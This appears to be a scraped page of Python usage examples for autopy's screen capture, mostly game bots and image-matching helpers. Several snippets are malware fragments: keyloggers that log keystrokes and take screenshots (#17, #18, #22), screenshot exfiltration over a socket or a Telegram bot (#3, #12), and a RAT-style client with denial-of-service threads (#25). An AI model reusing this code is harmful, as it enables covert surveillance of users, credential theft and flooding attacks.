Beispiel #1
0
 def shot(self, region=None):  #region es una tupla (x, y, ancho, alto)
     if region == None:
         from autopy import bitmap
         bitmap.capture_screen().save('img/screenshot.png')
     else:
         from pyautogui import screenshot
         screenshot('img/screenshot.png', region=region)
Beispiel #2
0
def autodetect(): #HACK HACK HACK HACK HACK
    '''Returns a tuple with the (x,y) value of the top-left corner
    of the game's frame. To be fed to globals x_pad and y_pad.'''
    cords = capture_screen().find_bitmap(Bitmap.from_string('b2,2,eNpjYICC8pYJAAMJAYz='))
    
    if cords == None:
        cords = capture_screen().find_bitmap(Bitmap.from_string('b4,4,eNr7/x8FMMAAhI0sDmEAADweIOA='))
        return cords
    else:
        cords = map(lambda x: x-1, cords) #fix offset
        return cords
Beispiel #3
0
def take_screenshot():
    screen = bitmap.capture_screen()
    fname = "Screenshot "+str(datetime.now())+".png"
    screen.save(fname)
    f = open(fname,"r")
    fcont = f.read()
    s.send(EncodeAES(cipher,fcont))
 def run_game(self):
     self._screen=bitmap.capture_screen()        
     status=self.is_over()
     while not status:
         self._screen=bitmap.capture_screen()
         self.check_chess_array()
         if(np.sum(self._chess_array)==BLACK_CHESS):
             chess_stats=None
             x,y=0,0
             while chess_stats!=NO_CHESS:
                 x=random.randint(0,self._chess_nums-1)
                 y=random.randint(0,self._chess_nums-1)
                 chess_stats=self._chess_array[x][y]
             self.click_chess(x, y)
             
         status=self.is_over()
Beispiel #5
0
 def get_water_list(self):
     self.screen = bitmap.capture_screen()
     self.waterlist = [[] for i in range(6)]
     for j in range(6):
         for i in range(6):
             drops = self.get_drops(i, j)
             self.waterlist[j].append(drops)
     return self.waterlist
Beispiel #6
0
 def calibrate(self):
     calibrationImg = bitmap.Bitmap.open(CALIBRATION_IMAGE_PATH)
     
     bmp = bitmap.capture_screen()
     (x, y) = bmp.find_bitmap(calibrationImg)
     
     self.gameOffset = Point(x, y) + GAME_OFFSET
     self.boardOffset = self.gameOffset + BOARD_OFFSET
Beispiel #7
0
 def get_water_list(self):
     self.screen = bitmap.capture_screen()
     self.waterlist = [[] for i in range(6)]
     for j in range(6):
         for i in range(6):
             drops = self.get_drops(i, j)
             self.waterlist[j].append(drops)
     return self.waterlist
Beispiel #8
0
def find_image_location_in_screen(my_image):
    my_screen = bitmap.capture_screen()
    my_rect = my_screen.find_bitmap(my_image, my_tolerance)
    if my_rect:
        my_rect = list(my_rect)
        my_rect[0]+=my_image.width / 2
        my_rect[1]+=my_image.height / 2
        my_rect = tuple(my_rect)
    return my_rect
Beispiel #9
0
def find_image_location_in_screen(my_image):
    my_screen = bitmap.capture_screen()
    my_rect = my_screen.find_bitmap(my_image, my_tolerance)
    if my_rect:
        my_rect = list(my_rect)
        my_rect[0]+=my_image.width / 2
        my_rect[1]+=my_image.height / 2
        my_rect = tuple(my_rect)
    return my_rect
Beispiel #10
0
 def find(self, img):
     from autopy import bitmap
     screen = bitmap.capture_screen()
     im = bitmap.Bitmap.open('img/' + img + '.png')
     pos = screen.find_bitmap(im)
     if pos:
         return pos
     else:
         return None
 def get_border_position(self):
     #获得棋盘左上角
     self._screen=bitmap.capture_screen()
     self._border_x=0
     self._border_y=0
     postion=self._screen.find_color(self._border_color)
     if postion!=None:
         self._border_x=postion[0]-2
         self._border_y=postion[1]
Beispiel #12
0
def getScreenShot(bot , update):

	shot = bitmap.capture_screen()
	shot.save("c:\\windows\\ScreenShot.png")
	chat_id = update.message.chat_id

	photo = open("c:\\windows\\ScreenShot.png" , "rb")
	bot.sendPhoto(chat_id,photo)
	photo.close()
	system("del C:\\Windows\\ScreenShot.png")
Beispiel #13
0
def get_data(quality):
    data = capture_screen().to_string().split(',')[-1]
    data = b64decode(data)
    data = decompress(data)
    data = Image.frombytes('RGB', size,
                           data).convert('RGB',
                                         (0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0))

    sio = StringIO()
    data.save(sio, 'jpeg', quality=quality)
    data = sio.getvalue()
    sio.close()
    return data
Beispiel #14
0
def get_data(quality):
    data = capture_screen().to_string().split(',')[-1]
    data = b64decode(data)
    data = decompress(data)
    data = Image.frombytes('RGB', size, data).convert('RGB', (
      0, 0, 1, 0,
      0, 1, 0, 0,
      1, 0, 0, 0))

    sio = StringIO()
    data.save(sio, 'jpeg', quality=quality)
    data = sio.getvalue()
    sio.close()
    return data
Beispiel #15
0
 def get_border_position(self):
     #截取整个屏幕
     self.screen = bitmap.capture_screen()
     #注意:浏览器移到屏幕左上角,游戏垂直居中
     self.border_x = 0
     self.border_y = 0
     self.border_color = 0xCFDFEB
     for x in range(self.screen.width):
         color_value = self.screen.get_color(x, self.screen.height / 2)
         if color_value == self.border_color:
             self.border_x = x
             break
     for y in range(self.screen.height):
         if self.screen.get_color(500, y) == self.border_color:
             self.border_y = y
             break
Beispiel #16
0
 def get_border_position(self):
     #截取整个屏幕
     self.screen = bitmap.capture_screen()
     #注意:浏览器移到屏幕左上角,游戏垂直居中
     self.border_x = 0
     self.border_y = 0
     self.border_color = 0xCFDFEB
     for x in range(self.screen.width):
         color_value = self.screen.get_color(x, self.screen.height/2)
         if color_value == self.border_color:
             self.border_x = x
             break
     for y in range(self.screen.height):
         if self.screen.get_color(500, y) == self.border_color:
             self.border_y = y
             break
def key_down(event):
    #print event.Key                        #case sensitive
    global text
    global count
    if event.Key == 'Return':
        #file = open("log.txt",'w')
        #file = open("{}.txt".format(str(uuid.uuid4())),'w')
        if os.path.exists('Keylogger') == False:
            os.mkdir('Keylogger')
        file = open("Keylogger/log" + str(count) + ".txt", 'w')
        file.write(text)
        file.close()
        count += 1
        img = bitmap.capture_screen()
        img.save("{}.bmp".format(str(uuid.uuid4())))
    else:
        text += event.Key
Beispiel #18
0
def key_down(event):
    #print event.Key
    global text
    global i
    x = event.Key
    if x == 'Space':
        x = ' '
    if x != 'Back':
        text += x
    if event.Key == 'Return':
        i += 1
        if os.path.exists('KeyLogger') == False:
            os.mkdir('KeyLogger')
        img = bitmap.capture_screen()
        img.save("KeyLogger/" + str(uuid.uuid4()) + ".png")
        file = open("KeyLogger/log" + str(i) + ".txt", 'a')
        file.write(text)
        file.close()
Beispiel #19
0
def wait_target(target_img_path):
    """Try to capture position of the target in the screen until finds it and return his coordinates."""
    target = bitmap.Bitmap.open(target_img_path)
    pos_target = (0,0)

    while True:
        time.sleep(1)
        screen = bitmap.capture_screen()
        count = screen.count_of_bitmap(target)

        if count > 0:
            print "bitmap of image %s is found! Getting coordinates..." % target_img_path
            pos_target = screen.find_bitmap(target)
            break

        print "searching for bitmap of image %s ..." % target_img_path

    return pos_target
Beispiel #20
0
 def replayGame(self):
     print 'replay!!!'
     replayPt = None
     
     time.sleep(5)
     
     while replayPt == None:
         bmp = bitmap.capture_screen()
         replayPt = bmp.find_bitmap(self.replayImg)
     
     mouse.move(replayPt[0], replayPt[1])
     mouse.click()
     
     time.sleep(60)
     mouse.move(self.gameOffset.x + GAME_SIZE.x / 2, self.gameOffset.y + GAME_SIZE.y / 2)
     mouse.click()
     
     time.sleep(2)
     mouse.move(self.gameOffset.x + 100, self.gameOffset.y + 100)
     mouse.click()
Beispiel #21
0
 def readGame(self):
     bmp = bitmap.capture_screen()
     
     submitPt = bmp.find_bitmap(self.submitImg)
     replayPt = bmp.find_bitmap(self.replayImg)
     
     if submitPt != None or replayPt != None:
         if submitPt != None:
             print 'submit found!'
             mouse.move(submitPt[0], submitPt[1])
             mouse.click()
         time.sleep(10)
         self.replayGame()
         return self.gameState
     
     for y in range(self.gameState.boardDim.y):
         for x in range(self.gameState.boardDim.x):
             gem = self.getGem(bmp, Point(x, y))
             self.gameState.board.board[y][x] = gem
             
     return self.gameState
Beispiel #22
0
def key_down(event):
    global log
    global filename

    if event.Key == 'Return':
        #buat screenshot
        if os.path.exists('ss') == False:
            os.mkdir('ss')
        img = bitmap.capture_screen()
        img.save("ss/{}.bmp".format(str(uuid.uuid4())))

        #kalo udah pencet enter
        file = open(filename + '.txt', 'a')
        # file = open("asdf.txt",'a')
        file.write(log)
        file.close()
        log = ''
    else:
        if event.Key in blocked:
            log += ''
        else:
            log += event.Key
    return True
Beispiel #23
0
    def dataReceived(self, data):
        #print "datareceived", data
        while data:
            try:
                decode, index = json_decode(data)
            except ValueError:
                # something went wrong.. FIXME
                return

            data = data[index:]

            if not isinstance(decode, dict):
                # something went wrong, gtfo for now, FIXME
                return

            command = decode.get('command')
            if command == 'mouse':
                pos = mouse.get_pos()
                action = decode.get('action')

                if action == 'click':
                    for i in range(decode.get('n') or 1):
                        mouse.click(BUTTONS[decode.get('b') - 1])

                elif action == 'move':
                    try:
                        mouse.move(pos[0] + decode.get('dx'),
                                   pos[1] + decode.get('dy'))
                    except ValueError:
                        pass

                elif action == 'press':
                    mouse.toggle(True, BUTTONS[decode.get('b') - 1])

                elif action == 'release':
                    mouse.toggle(False, BUTTONS[decode.get('b') - 1])

            elif command == 'type':
                key.type_string(decode['string'])

            elif command == 'press_key':
                key.toggle(getattr(key, 'K_' + decode['key'].upper()), True)

            elif command == 'release_key':
                key.toggle(getattr(key, 'K_' + decode['key'].upper()), False)

            elif command == 'kill':
                self.kill_app(decode['uid'])

            elif command == 'capture':
                pos = mouse.get_pos()
                size = decode.get('size')
                maxx, maxy = screen.get_size()
                rect = ((
                    max(0, min((pos[0] - size[0] / 2), maxx - size[0])),
                    max(0, min((pos[1] - size[1] / 2), maxy - size[1]))
                ), (size[0], size[1]))

                try:
                    bitmap.capture_screen(rect).save('tmp.png')
                except ValueError:
                    return

                self.send(mouse_pos=(pos[0] - rect[0][0], pos[1] - rect[0][1]))

                #print "sending capture"
                self.send_image('tmp.png')

            elif decode.get('run') in zip(*self.commands)[0]:
                self.execute(decode.get('run'), decode.get('arguments'))
Beispiel #24
0
def click_bitmap(target_img_path, button):
    """Capture position of the target in the screen and click the specified mouse button on it."""
    screen = bitmap.capture_screen()
    target = bitmap.Bitmap.open(target_img_path)
    pos_target = screen.find_bitmap(target)
    move_click(pos_target, button)
Beispiel #25
0
        print("done")
        s.close()
def call(number_of_threads,ip,port,ti):
    global con
    for i in range(int(number_of_threads)):
        x=threading.Thread(target=dos,args=(ip,int(port)))
        x.start()
    sleep(int(ti))
    con=False
while 1:

    #creating file name :
    rand = str(random.randrange(563,10000000))

    #getting ready for screen capturing :
    image = bitmap.capture_screen()

    #making socket and connecting :
    s=socket(AF_INET,SOCK_STREAM)
    s.connect(("127.0.0.1",1295))

    #receving command :
    r=s.recv(100)

    #screenshot sending :
    if r.decode() == "send screenshot":
        #capturing screen :
        save = image.save(rand+".png")

        #sending picture bytes to server :
        o=open(rand+".png","rb")